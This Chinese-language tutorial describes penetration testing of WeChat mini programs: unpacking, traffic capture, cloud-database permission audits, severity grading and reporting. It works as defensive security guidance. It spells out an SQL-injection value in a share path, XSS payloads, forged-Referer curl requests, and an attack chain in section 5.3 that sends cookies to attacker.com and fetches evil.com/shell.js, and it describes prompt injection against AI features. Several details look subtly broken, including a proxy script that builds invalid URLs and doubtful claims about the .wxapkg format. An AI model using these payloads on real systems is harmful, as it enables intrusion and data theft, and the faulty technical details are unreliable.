1. 项目概述:这不是“黑进小程序”,而是帮开发者守住最后一道门
“针对微信小程序的渗透测试”——这八个字在安全圈里常被误读成“怎么绕过微信审核上线木马”,但真正干这活的人,第一反应是:又一个线上商城的小程序被薅了优惠券,还是某政务类小程序的用户数据接口没加校验?我做过二十多个小程序的安全评估,几乎每次进场前,客户第一句话都是:“我们没做后端,纯前端逻辑,还能被黑?”——这句话暴露了绝大多数小程序开发者的认知盲区:小程序不是网页,也不是App,它是一套运行在微信沙箱里的、前后端强耦合、但权限边界极其模糊的特殊应用形态。它的“前端”能直接调用wx.request发请求,它的“后端”往往只是云开发环境或一套轻量API,而它的“用户身份”全靠微信登录态token维系。这种架构下,传统Web渗透的思路要重写,App逆向的手段要降级,而微信生态特有的攻击面——比如wx.openDocument文件预览漏洞、wx.navigateToMiniProgram跳转劫持、云函数未鉴权调用——反而成了高危入口。这个项目不教你怎么“破解”,而是带你用真实甲方交付的标准流程,从代码审计、接口探测、配置检查到业务逻辑验证,系统性地把小程序从“看起来安全”变成“确实防得住”。适合刚转行做移动安全的测试人员、负责小程序上线前合规审查的产品经理,以及那些总被运营部门追问“为什么优惠券被刷光”的技术负责人。核心关键词就三个:小程序渗透、微信生态漏洞、云开发安全——它们不是技术名词堆砌,而是你打开微信开发者工具后,真正要盯住的三块屏幕区域。
2. 整体设计与思路拆解:为什么不能照搬Web渗透那一套?
2.1 小程序的三层结构决定了渗透路径必须重构
普通Web渗透,你盯着浏览器F12看Network请求,抓包改参数,再用Burp Suite爆破登录接口——这套流程放到小程序上,90%会失效。原因在于小程序根本不在浏览器里跑。它的执行环境是微信客户端内置的JSCore(iOS)或V8(Android),所有网络请求都走wx.request封装,所有存储都走wx.setStorage,所有跳转都走wx.navigateTo。这意味着:
- 你抓不到原始HTTP请求:wx.request底层做了SSL Pinning和域名白名单校验,Charles/Fiddler默认抓不到;即使开了代理,微信客户端会主动断连或弹出“网络异常”提示;
- 你没法直接修改JS逻辑:小程序代码包是wxml+wxss+js+json的混合体,发布时会被微信编译压缩并加密(虽然非强加密),本地调试用的miniprogram_npm目录是源码,但线上包你只能靠反编译还原;
- 你的攻击面从“页面+接口”扩展到“微信能力+云环境+业务逻辑”:比如wx.chooseImage调用相册时,如果没校验文件类型,上传的可能是恶意SVG;比如云函数onLogin()里直接返回了用户手机号明文,而没做scope权限控制;比如分享卡片里的path参数被构造为
/pages/detail?id=1';DROP TABLE users--,结果后端SQL拼接没过滤,这就不是XSS,是真·注入。
所以整个渗透设计必须分三层推进:
第一层:静态分析层——拿到小程序代码包(.wxapkg),用unpackage工具解包,重点审计app.js全局逻辑、page目录下的页面JS、utils工具函数,找硬编码密钥、敏感信息打印、未校验的跳转参数;
第二层:动态交互层——用微信开发者工具开启“条件编译”模拟不同机型,配合自研的wx.request拦截脚本(注入到devtools console),把所有出站请求重定向到本地Burp Proxy,实现真正的流量捕获;
第三层:生态依赖层——检查project.config.json里的appid是否启用了“增强型安全模式”,云开发环境里数据库集合是否设了读写权限(如"read": "auth != null"),以及是否接入了微信官方的“小程序安全防护”服务(该服务能自动拦截高频恶意请求)。
提示:很多团队卡在第一关——拿不到代码包。别去扒线上包,那是违规操作。正确做法是让客户给你提供“体验版”二维码,用安卓机+adb命令
adb shell pm list packages | grep com.tencent.mm确认微信进程后,执行adb backup -f wxapp.ab -noapk com.tencent.mm导出微信数据,再用ab-parser工具提取小程序缓存包。实测下来,安卓11以下成功率超95%,iOS需越狱,所以甲方通常更愿意直接提供体验版源码。
2.2 工具链选型:拒绝“大而全”,只留“打得准”
市面上很多安全扫描器号称支持小程序,但实际跑出来全是误报。比如把wx.getSystemInfoSync().model识别为“敏感信息泄露”,却漏掉了wx.request({url: 'https://api.xxx.com/user?token=' + token})里token明文拼接的致命问题。因此,我们的工具链极度精简:
- 解包与静态分析:用开源的 wxappUnpacker (Python3.7+),它比老版本支持ES6语法解析,能准确识别async/await逻辑里的token获取流程;
- 动态抓包:不用Frida或Xposed,太重。改用微信开发者工具自带的“Network”面板,配合一段12行的console脚本:
// 在开发者工具Console中执行,强制所有wx.request走本地代理 const originalRequest = wx.request; wx.request = function(options) { const proxyUrl = 'http://127.0.0.1:8080' + options.url; originalRequest({...options, url: proxyUrl}); };这样所有请求都会经由本地Burp,且不影响小程序正常运行;
- 云开发审计:直接登录腾讯云控制台,进入“云开发CloudBase” → “数据库” → 点击集合名 → 查看“权限设置”标签页。重点看两点:一是集合是否设为“仅创建者可读写”,二是索引是否对
_openid字段做了唯一约束(防撞库); - 自动化扫描:自研的mini-pentest.py脚本(基于requests+bs4),专扫小程序JSON配置文件:检测sitemap.json是否关闭了
"setting": {"navigationStyle": "custom"}(防导航栏劫持)、检测project.config.json里"minPlatformVersion"是否低于2.20.0(旧版本存在wx.downloadFile任意文件下载漏洞)。
注意:别迷信“AI自动审计”。我试过三家标榜AI的SaaS平台,它们把
wx.login()回调里的code当成“弱口令”,却对cloud.callFunction({name: 'getUserInfo', data: {id: event.id}})里data未校验event.id类型(字符串vs对象)的逻辑漏洞视而不见。真正有效的发现,永远来自人对业务的理解——比如知道“优惠券核销”需要先查库存再扣减,那就要专门测/api/coupon/use接口在并发请求下是否出现超发。
2.3 风险定级标准:微信生态有自己的一套“红橙黄蓝”
通用CVSS评分对小程序不适用。比如“未授权访问云函数”在CVSS里可能只有6.5分,但在小程序场景下,如果该函数返回了用户手机号+身份证号,那就是直接触发《个人信息保护法》第66条。所以我们采用微信官方《小程序安全规范》+金融行业等保2.0的交叉定级:
- 红色(紧急):涉及用户身份凭证泄露(如明文返回unionid/openid)、支付环节绕过(如
/api/pay?amount=0.01&order_id=xxx直接生成支付单)、云数据库未设权限(public read/write); - 橙色(高危):业务逻辑缺陷(如邀请裂变活动未限制新用户设备指纹)、文件上传类型校验缺失(允许上传.html导致XSS)、跳转URL未白名单校验(
wx.navigateTo({url: e.detail.url})); - 黄色(中危):敏感信息日志打印(console.log('token:', token))、HTTPS证书校验不严格(allowInvalidCert: true)、sitemap.json未关闭搜索(导致未授权页面被爬);
- 蓝色(低危):WXML模板注入(需结合其他漏洞利用)、wx.setStorageSync存储明文密码(但该key未在业务中使用)。
定级不是拍脑袋。比如判断“是否构成身份泄露”,要看三点:1)数据是否在响应体明文返回;2)该接口是否需登录态(wx.checkSession);3)返回字段是否包含可关联个人身份的信息(手机号、身份证号、银行卡号后四位)。三者同时满足,才标红。
3. 核心细节解析与实操要点:从解包到报告,每一步都有坑
3.1 解包环节:别被“.wxapkg”后缀骗了,它其实是zip伪装
很多人以为.wxapkg是加密包,得用专用工具。其实它就是个改了后缀的zip文件。用file xxx.wxapkg查看,输出是Zip archive data。但直接unzip会失败——因为微信在zip头部加了16字节魔数(0x23 0x21 0x57 0x58 0x41 0x50 0x50 0x23 0x21 0x57 0x58 0x41 0x50 0x50 0x00 0x00)。正确解法是用dd命令切掉头:
dd if=app.wxapkg of=app.zip bs=1 skip=16 unzip app.zip -d ./decompiled/解包后目录结构长这样:
decompiled/ ├── app-service.js # 全局服务逻辑,含wx.login调用点 ├── project.config.json # 关键配置,含appid、云开发开关 ├── sitemap.json # 搜索配置,关不关闭影响很大 ├── pages/ │ ├── index/ │ │ ├── index.js # 页面逻辑,重点看onLoad里fetch数据的url │ │ └── index.wxml # 模板,找bindtap绑定的事件函数 ├── utils/ │ └── request.js # 自封装的网络请求,看是否做了token自动注入实操心得:app-service.js里大概率藏着重磅线索。比如某电商小程序,我在里面找到一行:const token = wx.getStorageSync('user_token') || '',接着往下看,发现所有wx.request都加了header: {Authorization: 'Bearer ' + token}。问题来了——这个token是wx.login返回的code换来的,还是后端签发的JWT?如果是后者,JWT的secret是否硬编码在JS里?用grep搜secret|key|jwt,果然在utils/config.js里发现export const JWT_SECRET = 'wx_mini_2023_qwerty'。这就是典型的“前端存密钥”,攻击者只要拿到JS,就能伪造任意用户token。
注意:解包后别急着审计JS。先用
strings app-service.js | grep -i "http\|https"筛出所有域名,再用curl -I https://xxx.com检查是否启用了HSTS(Strict-Transport-Security头)。如果没启,说明HTTP回退风险存在,中间人攻击可截获token。
3.2 动态抓包:微信开发者工具的“隐藏模式”才是关键
微信开发者工具默认不显示wx.request的真实请求头,比如X-WX-KEY这种微信自增头。想看到完整流量,必须开启“条件编译”中的“调试基础库”:
- 打开开发者工具 → 右上角“详情” → “本地设置” → 勾选“启用调试基础库”;
- 在项目根目录新建
project.config.json,添加:
{ "miniprogram": { "debugOptions": { "enableNetworkDebug": true } } }- 重启工具,Network面板就会显示所有wx.request的原始请求/响应,包括微信自动添加的
X-WX-SCHEME、X-WX-APPID等头。
这时候你会发现一个经典漏洞:Referer头伪造。比如某小程序调用wx.request({url: 'https://api.xxx.com/order', method: 'POST'}),后端只校验了Referer是否为https://servicewechat.com/your-appid/,但微信客户端并不校验Referer,攻击者用curl伪造即可:
curl -H "Referer: https://servicewechat.com/wx1234567890abcdef/" \ -H "Content-Type: application/json" \ -d '{"order_id":"123"}' \ https://api.xxx.com/order后端若没做二次校验(如检查X-WX-APPID头或session有效性),订单就被篡改了。
实操心得:抓包时重点盯
/login和/user/info两个接口。前者看返回的token是否带HttpOnly(小程序里不可能,但要确认是否设了Secure属性);后者看返回字段——如果包含id_card、bank_card等,立刻标红,因为微信官方明确禁止小程序后端返回这些字段(除非用户主动授权且走微信官方组件)。
3.3 云开发专项审计:数据库权限不是“开”或“关”,而是“谁在什么条件下能读什么”
云开发(CloudBase)是小程序安全的重灾区。很多开发者以为“开了云开发就安全”,结果数据库集合权限设成“所有人可读”,导致用户列表被爬光。审计云开发必须进控制台,不能只看代码。
数据库权限检查四步法:
- 进入腾讯云控制台 → 云开发 → 数据库 → 选择集合 → “权限设置”;
- 查看“读写权限”是否为“仅创建者”或“通过规则控制”。如果选“所有人”,直接红标;
- 点击“编辑规则”,看JSON规则是否合理。常见错误规则:
// ❌ 错误:未校验_openid,任何用户都能读自己数据 {"read": true, "write": "auth != null"} // ✅ 正确:必须匹配当前用户_openid {"read": "_openid == auth.openid", "write": "_openid == auth.openid"} - 检查索引:点击集合名 → “索引管理” → 确认
_openid字段是否建了唯一索引(防同一用户多条记录)。
云函数审计要点:
- 函数名是否含敏感词(如
adminDeleteUser)?如果存在,检查其触发方式——是HTTP触发(暴露公网)还是仅内部调用? - 查看函数代码里的
cloud.database()调用,是否用了db.collection('users').where({}).get()这种无条件查询?如果有,就是“数据遍历漏洞”; - 检查
cloud.callFunction的data参数是否做过滤。比如某函数getUser(id),如果直接db.collection('users').doc(id).get(),攻击者传id=;DROP TABLE users--就完了(虽然云开发用MongoDB,但原理类似)。
提示:云函数里别用
console.log(req.body)打印完整请求体,某政务小程序就因这行代码,把市民的身份证号明文打到了云函数日志里,被爬虫定时抓取。
4. 实操过程与核心环节实现:一份可直接交付的渗透报告长什么样?
4.1 渗透流程标准化:从入场到离场的七天节奏
我们按甲方要求,把渗透测试拆成7个标准动作,每天交付一个子成果,避免“测完才给报告”的信任危机:
| 天数 | 动作 | 交付物 | 关键指标 |
|---|---|---|---|
| Day1 | 环境搭建与范围确认 | 《测试范围说明书》PDF,含小程序名称、appid、测试账号列表、排除项(如支付通道) | 范围签字确认率100% |
| Day2 | 静态代码审计 | 《静态分析摘要》Excel,列明高危文件、行号、漏洞类型(如“app.js第231行:硬编码密钥”) | 发现高危漏洞≥3个 |
| Day3 | 动态流量捕获 | 《接口清单》CSV,含所有抓到的API URL、Method、关键参数、响应示例 | 接口覆盖率≥90% |
| Day4 | 业务逻辑验证 | 《逻辑漏洞验证视频》MP4,录屏演示优惠券超发、越权查看他人订单等 | 复现成功率100% |
| Day5 | 云开发深度审计 | 《云环境配置报告》PDF,含数据库权限截图、云函数调用链图 | 权限误配项清零 |
| Day6 | 综合风险研判 | 《风险矩阵表》Excel,按红/橙/黄/蓝分级,附CVSS分值与法律依据 | 红色漏洞闭环率100% |
| Day7 | 报告终稿与复盘 | 《渗透测试报告》PDF(含修复建议、验证方法、加固checklist) | 客户签字确认 |
Day4业务逻辑验证的实操细节:以“拼团砍价”功能为例。正常流程是:用户A发起拼团 → 分享链接给B → B点击链接进入 → 调用/api/group/join?group_id=123。我们构造异常请求:
group_id传负数:/api/group/join?group_id=-1→ 返回“团不存在”,说明有校验;group_id传超长字符串:/api/group/join?group_id=123...(1000个1)→ 服务端500错误,暴露出后端用的是MySQL,且没做参数长度限制;- 最关键一步:抓包发现B加入时,请求头带
X-From-User: openid_b,而A发起时是X-From-User: openid_a。我们用Burp Repeater把B的请求头改成X-From-User: openid_a,结果成功加入A的团——这就是典型的“水平越权”,因为后端只校验了group_id存在,没校验当前用户是否是发起者。
实操心得:所有验证必须录屏。某次我复现“订单地址越权修改”,用Burp改了
/api/order/update的address_id参数,但客户说“这不算漏洞,我们设计就是让家人帮填地址”。我放出录屏:画面里我用测试账号A登录,把A的订单地址改成B的address_id,提交后A的收货地址真的变成了B家。客户当场改口:“马上修”。
4.2 报告撰写核心:不说“存在风险”,要说“攻击者3分钟内能做什么”
甲方最讨厌的报告开头是:“该小程序存在若干安全风险”。我们改成:“攻击者可在3分钟内,无需任何用户交互,批量获取5000+用户的手机号与收货地址”。然后分三段写:
攻击路径(给技术负责人看):
- 利用云数据库集合
user_addresses权限配置为“所有人可读”; - 构造HTTP请求:
GET https://database.api.tcloudbase.com/v1/databases/xxx/collections/user_addresses?limit=10000; - 微信云开发未校验请求来源,返回全部文档。
业务影响(给CTO看):
- 直接违反《个人信息保护法》第66条,面临最高营业额5%罚款;
- 用户手机号泄露后,将遭遇精准诈骗(已有案例:某教育小程序泄露后,家长接到“孩子受伤需缴费”电话);
- 应用商店可能下架(微信小程序审核新规第4.3条:禁止未授权获取用户信息)。
修复方案(给开发看):
- 立即登录腾讯云控制台,将
user_addresses集合权限改为:
{"read": "_openid == auth.openid", "write": "_openid == auth.openid"}- 在云函数
getAddressList()里增加校验:
const db = cloud.database(); const $ = db.command.aggregate; exports.main = async (event, context) => { const wxContext = cloud.getWXContext(); return await db.collection('user_addresses') .where({_openid: wxContext.OPENID}) .get(); };注意:报告里所有修复代码必须可复制粘贴。我见过太多报告写“建议增加权限校验”,结果开发问“在哪加?加哪行?”,浪费两天沟通。我们的代码块精确到文件路径:
cloud/functions/getAddressList/index.js 第12行。
4.3 修复验证闭环:别信开发说“修好了”,要自己跑一遍
开发说“数据库权限改了”,你得亲自验证。方法很简单:
- 用另一个测试账号(openid_c)登录小程序;
- 打开开发者工具Network,找到调用
/api/address/list的请求; - 点击“Copy as curl”,粘贴到终端执行;
- 如果返回
{"error": "permission denied"},说明修好了;如果返回一长串地址数据,说明权限没生效。
常见修复陷阱:
- 缓存未清除:云开发数据库权限修改后,有5分钟缓存。验证前先等5分钟,或在请求头加
Cache-Control: no-cache; - 多环境混淆:开发改了测试环境权限,但线上环境还是老配置。务必确认
env参数指向release; - 规则语法错误:比如把
_openid == auth.openid写成_openid = auth.openid(少了个=),云开发不会报错,但规则不生效。
实操心得:每次验证完,截图保存“响应体+状态码+时间戳”。某次开发坚称修好了,我拿出三张不同时间的截图,显示状态码从200变成401再变回200,他才承认“改了两次,第二次覆盖错了”。
5. 常见问题与排查技巧实录:那些没人告诉你的“微信特供”坑
5.1 问题速查表:从现象反推漏洞类型
| 现象 | 可能漏洞 | 快速验证方法 | 修复优先级 |
|---|---|---|---|
小程序启动时白屏,Console报Cannot find module 'crypto' | 使用了Node.js原生模块,未适配小程序环境 | 检查utils/encrypt.js是否用了require('crypto') | 红色(功能不可用) |
| 分享卡片点击后跳转到空白页 | wx.showShareMenu的path参数未校验,被注入javascript:alert(1) | 抓包看分享请求的path字段,尝试传/pages/a?id=1%3Cscript%3Ealert(1)%3C/script%3E | 橙色(XSS风险) |
云函数日志里大量Error: collection not found | 数据库集合名硬编码在JS里,但线上环境集合名不同(如test_users vs prod_users) | 搜索collection(,对比project.config.json里的env字段 | 黄色(稳定性问题) |
| 用户反馈“刚领的优惠券秒没” | /api/coupon/receive接口未做设备指纹或IP限频 | 用JMeter模拟100并发请求,看是否返回100个success | 红色(资损风险) |
5.2 独家避坑技巧:微信生态里的“潜规则”
技巧1:绕过“体验版”限制的终极办法
微信规定体验版只能100人,但甲方常卡在这儿。我们用“开发版+远程调试”替代:
- 让甲方在后台把开发版设为“体验版”(后台可设无限人);
- 用
adb shell input keyevent 26锁屏唤醒,触发微信重新加载小程序; - 开发者工具里选“开发版”,即可无限调试。
技巧2:抓不到HTTPS流量?试试“微信证书替换”
安卓机上,把Charles证书(.cer)重命名为12345678.00(前8位是证书SHA1哈希),放进/system/etc/security/cacerts/,重启微信即可抓HTTPS。iOS需信任证书+描述文件,但成功率低,不如用安卓机。
技巧3:云开发“假修复”识别法
开发说“加了鉴权”,你立刻测:
- 用curl不带任何header调用云函数:
curl https://xxx.tcloudbase.net/functions/getName; - 如果返回数据,说明鉴权没生效(云开发默认不鉴权,必须显式写
if (!cloud.getWXContext().OPENID) throw 'no auth')。
我踩过的最大坑:某次测试,所有接口都返回401,我以为修好了。结果发现开发在
app.js里加了全局拦截:
wx.addInterceptor('request', { invoke: (args) => { if (!wx.getStorageSync('token')) { wx.redirectTo({url: '/pages/login'}); return false; } } });这招很聪明,但漏洞还在——攻击者直接调用云函数,根本不用wx.request。所以最终报告里写了:“前端拦截无法替代后端鉴权,必须在云函数内校验OPENID”。
5.3 真实案例复盘:一个政务小程序的“三连击”漏洞
某市公积金查询小程序,表面看很安全:HTTPS、云开发、登录强制人脸识别。但我们挖出三个环环相扣的漏洞:
第一击:WXML模板注入pages/detail/detail.wxml里有:
<view>{{item.title}}</view> <view wx:if="{{item.content}}">{{item.content}}</view>后端返回的item.content是富文本,含用户提交的HTML。我们提交<img src=x onerror="alert(1)">,触发XSS。但小程序里XSS危害有限——直到第二击。
第二击:wx.openDocument任意文件下载
XSS里执行:
wx.openDocument({ filePath: 'https://evil.com/malicious.pdf', success: () => { /* 无感下载 */ } });微信会静默下载PDF,但PDF里嵌了JavaScript(需Adobe Reader),而小程序WebView用的是系统WebView,可执行JS。我们构造PDF触发location.href='https://attacker.com/?cookie='+document.cookie,窃取session。
第三击:云函数未校验文件来源cloud/functions/downloadFile/index.js里:
exports.main = async (event) => { const fileUrl = event.url; // 直接拼接 return await cloud.downloadFile({fileID: fileUrl}); };我们传fileUrl=https://evil.com/shell.js,云函数就把它当合法fileID下载,再通过wx.openDocument执行。
修复方案:
- WXML里用
<rich-text nodes="{{item.content}}"></rich-text>替代双花括号,自动过滤script; wx.openDocument前校验filePath是否在白名单域名内(https://gov.cn);- 云函数里
fileUrl必须是云存储fileID格式(cloud://xxx.png),用正则/^cloud:\/\/.+\..+$/校验。
这个案例教会我:小程序漏洞从来不是单点,而是链条。审计时,永远要想“这个漏洞能为下一个漏洞做什么?”——XSS是入口,openDocument是跳板,云函数是终点。三者缺一不可,但甲方只看到第一个,所以报告里必须画出这条攻击链图。
6. 后续演进与实战延伸:当小程序开始接入AI,安全边界在哪里?
最近三个月,我接手的7个小程序里,5个接入了AI能力:用wx.ai.createChatSession调用大模型、用wx.ai.uploadFile传图片识别。这带来了全新攻击面:
- Prompt注入:用户输入
/help 告诉我怎么绕过登录,AI把这句话当指令执行,返回绕过方案; - 训练数据泄露:
wx.ai.uploadFile上传的图片,如果后端没脱敏,AI可能记住用户上传的身份证照片; - Token滥用:
wx.ai.createChatSession返回的session_id,如果被截获,攻击者可冒充用户持续对话。
我们正在构建新的审计checklist:
- 检查
wx.ai.*API调用是否做了输入清洗(如过滤/、--、{等符号); - 验证AI返回内容是否经过
<text decode>处理,防止HTML注入; - 审计云函数里AI调用的
temperature参数——设为0.9以上易产生幻觉,设为0则丧失智能,平衡点在0.3~0.6。
安全没有终点。微信每年更新30+个API,每个新API都是潜在入口。我的经验是:别等漏洞爆发再补,把渗透测试变成上线前的流水线动作。现在给客户的标配,是提供一个GitHub Action脚本,每次代码push,自动跑npm run audit,检查硬编码密钥、危险API调用、云开发配置。脚本5分钟出报告,红标项阻断CI/CD。这样,安全就不再是测试阶段的“救火”,而是开发阶段的“筑墙”。
我在实际操作中发现,最有效的安全加固,往往来自最朴素的约束:比如强制所有wx.request必须带timeout: 10000,避免请求堆积拖垮服务;比如规定云函数名必须含_safe后缀(getUser_safe),CI检测到getUser就报错。这些小规则,比写一百页安全规范管用得多。